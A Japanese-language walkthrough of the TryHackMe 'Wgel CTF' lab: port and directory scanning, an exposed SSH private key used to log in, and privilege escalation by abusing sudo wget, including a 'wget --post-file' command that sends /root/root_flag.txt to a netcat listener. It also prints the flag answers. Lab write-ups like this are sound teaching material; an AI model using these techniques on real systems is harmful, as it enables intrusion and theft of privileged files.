概要
TryHackMe「Wgel CTF」ルームのWalkthroughです。
Task1
Q1.User flag
ポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV -p- 10.10.136.222 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:96:1b:66:80:1b:76:48:68:2d:14:b5:9a:01:aa:aa (RSA)
| 256 18:f7:10:cc:5f:40:f6:cf:92:f8:69:16:e2:48:f4:38 (ECDSA)
|_ 256 b9:0b:97:2e:45:9b:f3:2a:4b:11:c7:83:10:33:e0:ce (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
ディレクトリの列挙を行います。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.136.222/FUZZ -recursion -recursion-depth 1 -ic -c
[Status: 200, Size: 11374, Words: 3512, Lines: 379, Duration: 348ms]
sitemap [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 240ms]
images [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 245ms]
css [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 244ms]
js [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 243ms]
/sitemap
へアクセスするWebサイトが表示されました。
サイトの挙動などを確認しましが、攻撃に使えそうなものは見つけられませんでした。
dirsearch
で/sitemap
配下を再度ディレクトリの列挙を行います。
$ dirsearch -u http://10.10.33.238/sitemap
[07:23:50] 301 - 317B - /sitemap/js -> http://10.10.33.238/sitemap/js/
[07:23:54] 200 - 14KB - /sitemap/.DS_Store
[07:24:01] 200 - 2KB - /sitemap/.sass-cache/
[07:24:01] 301 - 319B - /sitemap/.ssh -> http://10.10.33.238/sitemap/.ssh/
[07:24:01] 200 - 461B - /sitemap/.ssh/
[07:24:01] 200 - 2KB - /sitemap/.ssh/id_rsa
[07:24:08] 200 - 3KB - /sitemap/about.html
[07:24:40] 200 - 3KB - /sitemap/contact.html
[07:24:42] 301 - 318B - /sitemap/css -> http://10.10.33.238/sitemap/css/
[07:24:51] 301 - 320B - /sitemap/fonts -> http://10.10.33.238/sitemap/fonts/
[07:24:56] 301 - 321B - /sitemap/images -> http://10.10.33.238/sitemap/images/
[07:24:56] 200 - 1KB - /sitemap/images/
[07:25:00] 200 - 813B - /sitemap/js/
/sitemap/.ssh/id_rsa
でSSHの秘密鍵を発見したのでローカルに保存します。
SSHのユーザー名を探します。
ルートページのコメントアウトにJessie
というユーザー名を見つけました。
先ほど入手した秘密鍵を使用してSSHログインに成功しました。
$ ssh -i id_rsa jessie@10.10.57.67
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
8 packages can be updated.
8 updates are security updates.
jessie@CorpOne:~$
/home/jessie/Documents/user_flag.txt
からフラグを入手します。
$ cat Documents/user_flag.txt
057c67131c3d5e42dd5cd3075b198ff6
A.057c67131c3d5e42dd5cd3075b198ff6
Q2.Root flag
sudo -l
で確認するとwget
コマンドがパスワードなしのrootユーザーとして実行できると分かりました。
GTFOBinsで確認するとFile upload
やFile read
項目が使えそうです。
今回はFile upload
の方法でフラグを獲得を目指します。
Netcatでリッスンします。
$ nc -lvnp 80
ユーザーフラグファイルからルートフラグファイル名を予測しました。
コマンドを実行します。
$ sudo /usr/bin/wget --post-file=/root/root_flag.txt 10.6.55.144
ファイルの中身が送られてきました。
b1b968b37519ad1daa6408188649263d
File read
の方法でもフラグを獲得できます。
$ sudo /usr/bin/wget -i /root/root_flag.txt
--2024-06-26 17:59:01-- http://b1b968b37519ad1daa6408188649263d/
Resolving b1b968b37519ad1daa6408188649263d (b1b968b37519ad1daa6408188649263d)... failed: Name or service not known.
wget: unable to resolve host address ‘b1b968b37519ad1daa6408188649263d’
A.b1b968b37519ad1daa6408188649263d